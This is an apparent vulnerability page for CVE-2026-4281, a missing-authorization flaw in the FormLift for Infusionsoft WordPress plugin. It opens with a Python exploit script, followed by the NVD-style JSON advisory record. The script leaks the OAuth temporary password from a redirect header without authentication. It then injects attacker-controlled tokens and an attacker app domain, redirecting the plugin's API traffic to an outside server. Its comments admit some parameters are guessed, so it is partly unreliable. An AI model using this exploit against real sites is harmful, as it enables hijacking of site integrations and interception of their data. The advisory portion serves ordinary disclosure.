CVE-2026-4281

import requests # Target configuration target_url = "http://example.com" attacker_domain = "http://attacker-controlled-server.com" # Step 1: Trigger the connect() function to leak the temporary password # Description says it leaks in redirect Location header print("[*] Step 1: Triggering connect() to leak temporary password...") response = requests.get(target_url, allow_redirects=False) # Extracting password from 'Location' header (Hypothetical parsing based on description) location_header = response.headers.get('Location', '') if 'password=' in location_header: temp_password = location_header.split('password=')[1].split('&')[0] print(f"[+] Leaked temporary password: {temp_password}") else: print("[-] Failed to leak password. Check if target is vulnerable.") exit() # Step 2: Use the password to call listen_for_tokens() and inject malicious tokens # Description says it calls update_option() to save attacker-controlled tokens print("[*] Step 2: Injecting malicious OAuth tokens...") payload = { 'action': 'listen_for_tokens', # Hypothetical parameter based on function name 'password': temp_password, 'access_token': 'attacker_controlled_token', 'app_domain': attacker_domain } exploit_response = requests.get(target_url, params=payload) if exploit_response.status_code == 200: print("[+] Exploit successful! OAuth tokens likely updated.") print(f"[+] API communication potentially redirected to: {attacker_domain}") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-4281", "sourceIdentifier": "[email protected]", "published": "2026-03-26T05:16:40.107", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 7.5.21. This is due to missing capability checks on the connect() and listen_for_tokens() methods of the FormLift_Infusionsoft_Manager class, both of which are hooked to 'plugins_loaded' and execute on every page load. The connect() function generates an OAuth connection password and leaks it in the redirect Location header without verifying the requesting user is authenticated or authorized. The listen_for_tokens() function only validates the temporary password but performs no user authentication before calling update_option() to save attacker-controlled OAuth tokens and app domain. This makes it possible for unauthenticated attackers to hijack the site's Infusionsoft connection by first triggering the OAuth flow to obtain the temporary password, then using that password to set arbitrary OAuth tokens and app domain via update_option(), effectively redirecting the plugin's API communication to an attacker-controlled server."}, {"lang": "es", "value": "El plugin FormLift for Infusionsoft Web Forms para WordPress es vulnerable a la falta de autorización en todas las versiones hasta la 7.5.21, inclusive. Esto se debe a la falta de comprobaciones de capacidad en los métodos connect() y listen_for_tokens() de la clase FormLift_Infusionsoft_Manager, ambos enganchados a 'plugins_loaded' y que se ejecutan en cada carga de página. La función connect() genera una contraseña de conexión OAuth y la filtra en el encabezado de redirección Location sin verificar que el usuario solicitante esté autenticado o autorizado. La función listen_for_tokens() solo valida la contraseña temporal, pero no realiza ninguna autenticación de usuario antes de llamar a update_option() para guardar tokens OAuth y el dominio de la aplicación controlados por el atacante. Esto hace posible que atacantes no autenticados secuestren la conexión de Infusionsoft del sitio al primero activar el flujo OAuth para obtener la contraseña temporal, luego usando esa contraseña para establecer tokens OAuth arbitrarios y el dominio de la aplicación a través de update_option(), redirigiendo efectivamente la comunicación de la API del plugin a un servidor controlado por el atacante."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/formlift/tags/7.5.21/modules/api/infusionsoft-manager.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/formlift/tags/7.5.21/modules/api/infusionsoft-manager.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/formlift/tags/7.5.21/modules/api/infusionsoft-manager.php#L62", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/formlift/tags/7.5.21/modules/api/infusionsoft-manager.php#L64", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/formlift/trunk/modules/api/infusionsoft-manager.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/formlift/trunk/modules/api/infusionsoft-manager.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/formlift/trunk/modules/api/infusionsoft-manager.php#L62", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/formlift/trunk/modules/api/infusionsoft-manager.php#L64", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3490212%40formlift&new=3490212%40formlift&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a65cc674-a0ea-46b9-b609-b184e1f7ca8e?source=cve", "source": "[email protected]"}]}}